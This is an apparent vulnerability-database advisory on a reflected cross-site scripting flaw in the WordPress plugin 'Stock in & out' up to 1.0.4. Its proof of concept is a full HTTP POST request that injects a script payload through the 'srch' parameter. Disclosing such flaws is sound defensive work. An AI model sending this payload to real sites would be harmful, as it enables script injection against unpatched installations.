WordPress Plugin Vulnerabilities
Stock in & out <= 1.0.4 - Reflected Cross-Site Scripting (XSS)
Description
The plugin has a search functionality, the lowest accessible level to it being contributor. The srch POST parameter is not validated, sanitised or escaped before using it in the echo statement, leading to a reflected XSS issue
Proof of Concept
POST /wp-admin/admin.php?page=stock_in HTTP/1.1 Content-Length: 66 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://172.28.128.50 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: [contributor+] Connection: close srch=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&search=Search+Product
Affects Plugins
References
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Shreya Pohekar of Codevigilant Project
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-05-27 (about 2 years ago)
Added
2021-05-27 (about 2 years ago)
Last Updated
2021-05-28 (about 2 years ago)